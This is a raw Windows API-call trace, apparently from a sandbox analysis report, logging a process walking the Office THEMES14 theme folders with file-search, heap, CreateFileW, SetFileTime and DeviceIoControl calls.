[0061.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.663] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac738 [0061.663] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa82f0 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfacd68 [0061.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.664] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8310 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xface70 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x840) returned 0xfaa438 [0061.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfad388) returned 1 [0061.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.664] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8330 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfacf78 [0061.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.664] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8350 [0061.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfad080 [0061.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.665] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.665] GetLastError () returned 0x12 [0061.665] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0061.665] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0061.665] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.665] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0061.665] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0061.665] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.665] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.665] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.665] GetLastError () returned 0x12 [0061.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfac840) returned 1 [0061.665] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0061.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfac738) returned 1 [0061.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0061.665] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0061.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0061.666] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0061.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfad388 [0061.666] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfad388, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfad388, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0061.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfad388) returned 1 [0061.666] NtClose (Handle=0x190) returned 0x0 [0061.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.666] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0061.666] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.666] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0061.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0061.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8370 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac738 [0061.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.667] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8390 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac840 [0061.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.667] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa83b0 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfad188 [0061.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.667] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa83d0 [0061.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaa130 [0061.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.668] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.668] GetLastError () returned 0x12 [0061.668] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0061.668] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0061.668] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.668] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0061.668] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0061.668] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.668] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.668] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.668] GetLastError () returned 0x12 [0061.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.668] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0061.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0061.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.668] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0061.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.668] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0061.981] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0061.984] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfad388 [0061.984] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfad388, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfad388, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0061.985] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfad388) returned 1 [0061.986] NtClose (Handle=0x184) returned 0x0 [0061.988] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.989] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.990] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0061.991] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.991] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaa028 [0061.992] 